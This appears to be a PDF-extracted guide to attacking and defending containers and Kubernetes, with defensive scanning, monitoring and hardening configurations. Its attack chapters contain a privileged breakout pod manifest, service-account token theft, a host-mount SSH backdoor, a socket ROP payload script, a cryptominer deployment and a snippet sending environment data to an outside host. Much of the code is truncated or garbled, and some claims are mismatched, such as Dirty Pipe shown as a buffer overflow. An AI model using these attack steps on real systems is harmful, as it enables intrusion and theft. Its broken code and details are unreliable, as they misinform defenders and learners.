Container Security: Attack & Defense Guide
Container Security: Attack & Defense Guide
COM
Picture this: It's 3 AM, and your security operations center lights up like a Christmas tree. An attacker has just escalated privileges in your Kubernetes cluster, moving
laterally through containers like a digital ghost. What started as a simple web application vulnerability has now become a full-scale container breakout, threatening your
entire infrastructure.
Welcome to the modern battlefield of container security, where the stakes are measured not just in uptime and performance, but in the very survival of your digital
infrastructure. In this landscape, containers are both the castle walls that protect your applications and the potential Trojan horses that could bring down your kingdom.
This comprehensive guide will transform you from a container security observer into a battle-tested warrior, equipped with both the attacker's mindset and the defender's
arsenal. We'll explore the dark arts of container exploitation alongside the noble science of container defense, because in cybersecurity, you must think like your enemy
to protect what matters most.
Containers have revolutionized how we build, deploy, and scale applications. They've also revolutionized how attackers approach our infrastructure. Unlike traditional
virtual machines, containers share the host kernel, creating a unique attack surface where a single vulnerability can cascade across your entire environment.
Consider the statistics: According to recent security research, over 75% of organizations run vulnerable container images in production, and the average container image
contains 51 known vulnerabilities. In the world of container security, ignorance isn't bliss—it's a blueprint for disaster.
"Know your enemy and know yourself; in a hundred battles, you will never be defeated." - Sun Tzu
Before we dive into specific attack techniques, it's crucial to understand the container ecosystem's attack surface. Think of containers as interconnected cities in a vast
digital kingdom. Each city (container) has its own defenses, but they're all connected by highways (networks), share common resources (host kernel), and are governed
by the same laws (orchestration platform).
Attackers don't just target individual containers—they target the entire ecosystem, looking for weak links in the chain that can provide them with kingdom-wide access.
Imagine you're a medieval general, and instead of laying siege to a castle, you convince the defenders to open their gates and welcome your soldiers disguised as allies.
This is the essence of container image poisoning—one of the most insidious attack vectors in the container security landscape.
Figure 1.1: Container Image Poisoning Attack Flow - From malicious image creation to production compromise
Meet Sarah, a skilled attacker who specializes in supply chain attacks. Instead of breaking down walls, she builds doors that only she knows how to open. Here's how
she executes a container image poisoning attack:
Sarah begins by researching popular container images in her target industry. She discovers that many financial services companies rely on a specific [Link] base
image for their microservices.
FROM node:18-alpine
WORKDIR /app
EXPOSE 3000
#!/bin/sh
"[Link] \
1. Typosquatting: She creates images with names similar to popular ones ( ndoejs instead of nodejs )
2. SEO Poisoning: She creates helpful blog posts and Stack Overflow answers that reference her malicious images
3. Registry Confusion: She uploads to multiple registries with slightly different names
This isn't theoretical. In 2021, security researchers discovered over 1,300 malicious npm packages that used similar techniques. One package, ua-parser-js , was
downloaded over 8 million times per week and was backdoored to install cryptocurrency miners and password stealers.
Figure 1.2: Container Escape and Privilege Escalation - Breaking out of container isolation to gain host access
Container escape represents the nightmare scenario for any containerized environment. It's the moment when an attacker breaks free from the isolated prison of a
container and gains access to the underlying host system. Think of it as a prisoner not just escaping their cell, but taking control of the entire prison.
Let's follow Marcus, an experienced penetration tester, as he demonstrates how a simple web application vulnerability can lead to complete host compromise.
Marcus starts with a web application running in a container. He discovers a command injection vulnerability in a file upload feature.
# Initial payload to confirm command execution
-F "file=@[Link]" \
Once Marcus has command execution, he begins gathering intelligence about the container environment.
ls -la /.dockerenv
id
df -h
ls -la /var/run/[Link]
capsh --print
Marcus discovers that the container is running in privileged mode—a critical misconfiguration that essentially gives the container root access to the host.
if [ -c /dev/kmsg ]; then
fi
With privileged access confirmed, Marcus can now access host devices and mount the host filesystem.
lsblk
fdisk -l
# Mount the host filesystem
mkdir /mnt/host
ls -la /mnt/host/
mkdir -p /mnt/host/home/marcus_backdoor/.ssh
In Kubernetes environments, Role-Based Access Control (RBAC) is supposed to be the guardian that decides who can do what. But when RBAC is misconfigured, it
becomes the very key that attackers use to unlock the kingdom.
Let's see how Elena, a sophisticated attacker, exploits RBAC misconfigurations to gain cluster-wide access.
Elena starts by examining the service account token mounted in her compromised pod.
cat /var/run/secrets/[Link]/serviceaccount/namespace
cat /var/run/secrets/[Link]/serviceaccount/token
export APISERVER=[Link]
Elena discovers that her service account can create pods in any namespace—a dangerous permission that she exploits to create a privileged pod.
apiVersion: v1
kind: Pod
metadata:
name: breakout-pod
namespace: kube-system
spec:
hostNetwork: true
hostPID: true
containers:
- name: breakout
image: alpine:latest
command: ["/bin/sh"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
Not all container attacks rely on misconfigurations. Sometimes, attackers exploit vulnerabilities in the applications themselves or even in the container runtime. These
attacks are particularly dangerous because they can bypass many traditional container security measures.
Consider the case of CVE-2022-0847 (Dirty Pipe), a Linux kernel vulnerability that allowed containers to write to read-only files and potentially escape their isolated
environment.
char buffer[256];
// Process buffer...
The attacker crafts a payload that exploits this vulnerability to gain code execution within the container.
# Python exploit framework
import struct
import socket
def create_exploit_payload():
rop_chain += b"/bin/sh\x00"
return rop_chain
payload = create_exploit_payload()
[Link]((target_ip, target_port))
[Link](payload)
[Link]()
With code execution achieved, the attacker targets the container runtime itself, looking for ways to escape the namespace isolation.
chmod +x /tmp/[Link]
"The best defense is a good offense, but the best offense is an even better defense." - Modern DevSecOps Wisdom
Now that we've walked through the dark side of container security, let's switch perspectives and explore how defenders can build impenetrable fortresses around their
containerized applications. Think of this chapter as your military academy training—we'll equip you with strategies, tools, and tactics that can withstand even the most
sophisticated attacks.
Figure 2.1: Image Security and Supply Chain Protection - Comprehensive image security and supply chain protection strategies
The first line of defense in container security begins at the source—your container images. Just as a castle's strength depends on the quality of its stones, your container
security depends on the integrity and security of your base images.
exclude:
- severity: "Low"
namespace: "npm"
- vulnerability: "CVE-2023-12345"
fail-on-severity: "Medium"
db:
auto-update: true
cache-dir: "/tmp/grype-cache"
cosign generate-key-pair
# [Link]
package [Link]
import [Link].image_signatures
deny[msg] {
[Link] == "Pod"
image := [Link][_].image
not image_signatures.verified[image]
}
Figure 2.2: Runtime Security and Monitoring - Comprehensive runtime security monitoring and behavioral analysis
While image scanning catches known vulnerabilities, runtime security monitors your containers for suspicious behavior and zero-day exploits that static analysis might
miss.
File Access Monitoring
# [Link]
apiVersion: [Link]/v1alpha1
kind: TracingPolicy
metadata:
name: file-access-monitor
spec:
kprobes:
- call: "security_file_open"
syscall: false
args:
- index: 0
type: "file"
selectors:
- matchArgs:
- index: 0
operator: "Prefix"
values:
- "/etc/passwd"
- "/etc/shadow"
- "/etc/ssh/"
- matchActions:
- action: Post
kernelStackTrace: true
userStackTrace: true
# [Link]
apiVersion: [Link]/v1alpha1
kind: TracingPolicy
metadata:
name: network-monitoring
spec:
tracepoints:
- subsystem: "syscalls"
event: "sys_enter_connect"
args:
- index: 0
type: "int"
- index: 1
type: "sockaddr"
selectors:
- matchArgs:
- index: 1
operator: "NotEqual"
values:
- "family=AF_UNIX"
# [Link]
condition: >
(outbound_connection
and container
output: >
container=%[Link] image=%[Link])
priority: WARNING
condition: >
spawned_process
and container
output: >
priority: HIGH
Figure 2.3: Zero Trust Architecture Implementation - Comprehensive zero trust security architecture for containers
Zero trust represents a fundamental shift in security thinking—from "trust but verify" to "never trust, always verify." In container environments, this means treating every
container, service, and communication as potentially hostile until proven otherwise.
# [Link]
apiVersion: [Link]/v1beta1
kind: PeerAuthentication
metadata:
name: default
namespace: production
spec:
mtls:
mode: STRICT
---
apiVersion: [Link]/v1beta1
kind: AuthorizationPolicy
metadata:
name: deny-all
namespace: production
spec:
---
apiVersion: [Link]/v1beta1
kind: AuthorizationPolicy
metadata:
name: allow-frontend-to-backend
namespace: production
spec:
selector:
matchLabels:
app: backend
rules:
- from:
- source:
principals: ["[Link]/ns/production/sa/frontend"]
- to:
- operation:
paths: ["/api/*"]
# [Link]
apiVersion: [Link]/v1beta1
kind: ConstraintTemplate
metadata:
name: k8srequiredsecuritycontext
spec:
crd:
spec:
names:
kind: K8sRequiredSecurityContext
validation:
openAPIV3Schema:
type: object
properties:
allowPrivilegeEscalation:
type: boolean
runAsNonRoot:
type: boolean
readOnlyRootFilesystem:
type: boolean
targets:
- target: [Link]
rego: |
package k8srequiredsecuritycontext
violation[{"msg": msg}] {
container := [Link][_]
violation[{"msg": msg}] {
container := [Link][_]
}
Figure 2.4: Secrets Management and Encryption - Comprehensive secrets lifecycle management and encryption strategies
Secrets management in containerized environments requires a sophisticated approach that goes beyond simply avoiding hardcoded passwords. It's about creating a
comprehensive ecosystem where secrets are protected throughout their entire lifecycle.
Dynamic Secret Generation
# [Link]
import hvac
import schedule
import time
def rotate_database_credentials():
client = [Link](url='[Link]
[Link] = 'vault-token'
response = [Link].generate_credentials(
name='postgres-role',
mount_point='database'
new_credentials = response['data']
update_k8s_secret(new_credentials)
return new_credentials
def update_k8s_secret(credentials):
import base64
config.load_incluster_config()
v1 = client.CoreV1Api()
secret_data = {
'username': base64.b64encode(credentials['username'].encode()).decode(),
'password': base64.b64encode(credentials['password'].encode()).decode()
v1.patch_namespaced_secret(
name='database-credentials',
namespace='production',
body={'data': secret_data}
[Link](24).[Link](rotate_database_credentials)
# [Link]
apiVersion: [Link]/v1beta1
kind: SecretStore
metadata:
name: vault-backend
namespace: production
spec:
provider:
vault:
server: "[Link]
path: "secret"
version: "v2"
auth:
kubernetes:
mountPath: "kubernetes"
role: "production-role"
---
apiVersion: [Link]/v1beta1
kind: ExternalSecret
metadata:
name: database-secret
namespace: production
spec:
refreshInterval: 1h
secretStoreRef:
name: vault-backend
kind: SecretStore
target:
name: database-credentials
creationPolicy: Owner
data:
- secretKey: username
remoteRef:
key: database/config
property: username
- secretKey: password
remoteRef:
key: database/config
property: password
In this chapter, we'll compare two architectural approaches side by side—one that's a security nightmare and another that represents the gold standard of container
security. Think of this as the architectural equivalent of comparing a house made of straw to a fortress made of reinforced steel.
Note: This represents an insecure architecture pattern that should be avoided. The following sections demonstrate common security mistakes.
Let's examine a fictional company, "VulnCorp," whose container architecture serves as a perfect example of what not to do.
curl wget vim nano ssh git sudo # Installing unnecessary tools
USER root
WORKDIR /app
ENV DATABASE_PASSWORD=supersecret123
ENV API_KEY=abc123xyz789
CMD ["./[Link]"]
apiVersion: apps/v1
kind: Deployment
metadata:
name: vulncorp-app
spec:
replicas: 1
selector:
matchLabels:
app: vulncorp
template:
metadata:
labels:
app: vulncorp
spec:
containers:
- name: app
ports:
- containerPort: 80
securityContext:
allowPrivilegeEscalation: true
volumeMounts:
- name: host-root
env:
- name: ADMIN_PASSWORD
volumes:
- name: host-root
hostPath:
apiVersion: v1
kind: Service
metadata:
name: vulncorp-service
spec:
ports:
- port: 80
targetPort: 80
targetPort: 22
targetPort: 3306
selector:
app: vulncorp
This architecture demonstrates security best practices that should be implemented in production environments.
Now let's look at "SecureCorp," a company that implements container security best practices at every level.
WORKDIR /app
COPY package*.json ./
WORKDIR /app
EXPOSE 3000
CMD ["[Link]"]
apiVersion: apps/v1
kind: Deployment
metadata:
name: securecorp-app
namespace: production
labels:
app: securecorp
version: v1.2.3
spec:
replicas: 3
selector:
matchLabels:
app: securecorp
version: v1.2.3
template:
metadata:
labels:
app: securecorp
version: v1.2.3
annotations:
[Link]/signature: "verified"
spec:
securityContext:
runAsNonRoot: true
runAsUser: 65534
fsGroup: 65534
seccompProfile:
type: RuntimeDefault
containers:
- name: app
ports:
- containerPort: 3000
name: http
protocol: TCP
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 65534
resources:
requests:
memory: "64Mi"
cpu: "250m"
limits:
memory: "128Mi"
cpu: "500m"
livenessProbe:
httpGet:
path: /health
port: 3000
initialDelaySeconds: 30
readinessProbe:
httpGet:
path: /ready
port: 3000
initialDelaySeconds: 5
periodSeconds: 5
env:
- name: NODE_ENV
value: "production"
- name: DB_PASSWORD
valueFrom:
secretKeyRef:
name: database-secret
key: password
volumeMounts:
- name: tmp
mountPath: /tmp
- name: app-config
mountPath: /app/config
readOnly: true
volumes:
- name: tmp
emptyDir: {}
- name: app-config
configMap:
name: securecorp-config
nodeSelector:
[Link]/os: linux
[Link]/worker: "true"
tolerations:
- key: "dedicated"
operator: "Equal"
value: "securecorp"
effect: "NoSchedule"
apiVersion: [Link]/v1
kind: NetworkPolicy
metadata:
name: securecorp-netpol
namespace: production
spec:
podSelector:
matchLabels:
app: securecorp
policyTypes:
- Ingress
- Egress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: frontend
- podSelector:
matchLabels:
app: api-gateway
ports:
- protocol: TCP
port: 3000
egress:
- to:
- namespaceSelector:
matchLabels:
name: database
ports:
- protocol: TCP
port: 5432
ports:
- protocol: UDP
port: 53
"Those who cannot remember the past are condemned to repeat it." - George Santayana
In this chapter, we'll examine real-world container security incidents that made headlines, analyzing what went wrong and how proper security measures could have
prevented disaster. These aren't theoretical scenarios—they're actual battles fought in the container security wars.
In February 2018, security researchers discovered that Tesla's Kubernetes console was breached by attackers who deployed cryptocurrency mining malware across
their container infrastructure. This incident serves as a perfect example of how a single misconfiguration can lead to widespread compromise.
Tesla's Kubernetes dashboard was left unsecured and accessible without authentication
Attackers discovered the exposed dashboard through automated scanning
No network segmentation prevented access from the internet
Attackers configured their mining software to operate at low CPU usage to avoid detection
They used Tesla's own container orchestration to scale their operation
The mining operation remained undetected for approximately one month
kind: Service
metadata:
name: kubernetes-dashboard
namespace: kube-system
spec:
ports:
- port: 80
targetPort: 9090
selector:
app: kubernetes-dashboard
Malicious Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
namespace: kube-system
spec:
replicas: 10
selector:
matchLabels:
app: system-monitor
template:
metadata:
labels:
app: system-monitor
spec:
containers:
- name: monitor
image: [Link]/miner:latest
resources:
requests:
memory: "50Mi"
limits:
cpu: "0.5"
memory: "100Mi"
env:
- name: POOL_ADDRESS
value: "stratum+tcp://[Link]"
- name: WALLET_ADDRESS
value: "attacker-monero-wallet-address"
1. Dashboard Security
apiVersion: v1
kind: Service
metadata:
name: kubernetes-dashboard
namespace: kubernetes-dashboard
spec:
ports:
- port: 443
targetPort: 8443
protocol: TCP
selector:
k8s-app: kubernetes-dashboard
---
apiVersion: [Link]/v1
kind: NetworkPolicy
metadata:
name: dashboard-netpol
namespace: kubernetes-dashboard
spec:
podSelector:
matchLabels:
k8s-app: kubernetes-dashboard
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: admin-tools
groups:
- name: container-security
rules:
- alert: UnexpectedCPUUsage
for: 5m
labels:
severity: warning
annotations:
description: "Container {{ $[Link] }} in namespace {{ $[Link] }} has been using high CPU for more than 5 minutes."
In February 2019, a critical vulnerability was discovered in the runc container runtime that allowed attackers to escape from containers and gain host-level access. This
vulnerability affected millions of containers worldwide and highlighted the importance of runtime security.
Technical Details
The vulnerability existed in runc's handling of file descriptors during container execution. An attacker could overwrite the host's runc binary by manipulating the
/proc/self/exe symlink.
#!/bin/bash
EOF
exec /tmp/malicious_runc
Affected Systems:
Attack Scenario:
import os
import subprocess
import time
def trigger_runc_escape():
"""
[Link](payload)
[Link]('/tmp/[Link]', 0o755)
[Link](['/tmp/[Link]'])
1. Runtime Updates
# For Kubernetes
condition: >
spawned_process
output: >
(user=%[Link] command=%[Link])
priority: CRITICAL
apiVersion: v1
kind: ConfigMap
metadata:
name: crio-config
data:
[Link]: |
[[Link]]
default_runtime = "runc"
no_pivot = false
[[Link]]
runtime_path = "/usr/bin/runc"
runtime_type = "oci"
runtime_root = "/run/runc"
[[Link]]
activation_annotation = "[Link]"
runtime_handler = "trusted"
runtime_path = "/usr/bin/kata-runtime"
While the SolarWinds attack primarily targeted traditional software, it highlighted vulnerabilities in software supply chains that directly apply to container security. Let's
examine how a similar attack could unfold in a containerized environment.
on:
push:
branches: [ main ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
run: |
run: |
run: |
#!/bin/bash
setInterval(() => {
const data = {
hostname: require('os').hostname(),
env: [Link],
timestamp: [Link]()
};
[Link]({
hostname: '[Link]',
path: '/metrics',
method: 'POST',
}).end(encrypted);
EOF
on:
push:
branches: [ main ]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
run: |
uses: trufflesecurity/trufflehog@main
with:
path: ./
run: |
uses: sigstore/cosign-installer@v3
- run: |
This comprehensive cheatsheet serves as your quick reference guide for container security. Whether you're responding to an incident, implementing new security
controls, or conducting a security audit, this section provides the commands, configurations, and best practices you need at your fingertips.
# Vulnerability Scanning
# SBOM Generation
docker run -d \
--name secure-app \
myapp:latest
# Docker Compose security configuration
version: '3.8'
services:
app:
image: myapp:latest
user: "1000:1000"
read_only: true
tmpfs:
- /tmp:rw,noexec,nosuid,size=1G
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
security_opt:
- no-new-privileges:true
deploy:
resources:
limits:
memory: 512M
cpus: '0.5'
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
annotations:
[Link]/app: runtime/default
spec:
serviceAccountName: limited-sa
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: myapp:v1.2.3@sha256:abc123...
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
runAsNonRoot: true
runAsUser: 1000
capabilities:
drop: ["ALL"]
add: ["NET_BIND_SERVICE"]
resources:
requests:
memory: "64Mi"
cpu: "250m"
limits:
memory: "128Mi"
cpu: "500m"
livenessProbe:
httpGet:
path: /health
port: 8080
initialDelaySeconds: 30
periodSeconds: 10
readinessProbe:
httpGet:
path: /ready
port: 8080
initialDelaySeconds: 5
periodSeconds: 5
condition: >
output: >
priority: HIGH
output: >
priority: WARNING
condition: >
output: >
priority: CRITICAL
apiVersion: [Link]/v1beta1
kind: ConstraintTemplate
metadata:
name: k8srequiredsecuritycontext
spec:
crd:
spec:
names:
kind: K8sRequiredSecurityContext
validation:
openAPIV3Schema:
type: object
targets:
- target: [Link]
rego: |
package k8srequiredsecuritycontext
violation[{"msg": msg}] {
container := [Link][_]
violation[{"msg": msg}] {
container := [Link][_]
---
apiVersion: [Link]/v1beta1
kind: K8sRequiredSecurityContext
metadata:
name: must-have-security-context
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
# Host-level investigation
# Immediate containment
kubectl get pod <pod_name> -o yaml > [Link] # Save pod config
# Recovery actions
Image Security
Base image from trusted registry
Vulnerability scan completed (< 10 HIGH/CRITICAL)
Image signed with cosign/notary
No hardcoded secrets in image
Minimal base image (distroless preferred)
Container Configuration
Non-root user specified
Read-only root filesystem
Minimal capabilities (drop ALL, add specific)
No privilege escalation allowed
Resource limits configured
Health checks implemented
Kubernetes Security
Service account with minimal permissions
Network policies defined
Pod security standards enforced
Secrets stored in external vault
Admission controllers configured
Behavioral Monitoring
Falco rules deployed
Process monitoring active
Network traffic analysis
File system change detection
Privilege escalation detection
Performance and Resource Monitoring
CPU/Memory usage tracking
Network I/O monitoring
Disk usage monitoring
Container restart tracking
Error rate monitoring
As we reach the end of our comprehensive journey through the container security battlefield, it's important to remember that security is not a destination—it's a
continuous journey of improvement, vigilance, and adaptation.
The container landscape continues to evolve at breakneck speed. New attack vectors emerge as quickly as new defensive technologies. What remains constant is the
need for security professionals who understand both the attacker's mindset and the defender's arsenal.
Remember the key principles that will serve you well in any container security scenario:
The battle for container security is ongoing, but with the knowledge, tools, and strategies outlined in this guide, you're well-equipped to protect your digital kingdom. Stay
vigilant, stay informed, and remember—in the world of cybersecurity, the price of freedom is eternal vigilance.
"The best time to plant a tree was 20 years ago. The second-best time is now." - The same principle applies to container security. If you haven't started implementing
these practices, start today. Your future self will thank you when the attacks come—and they will come.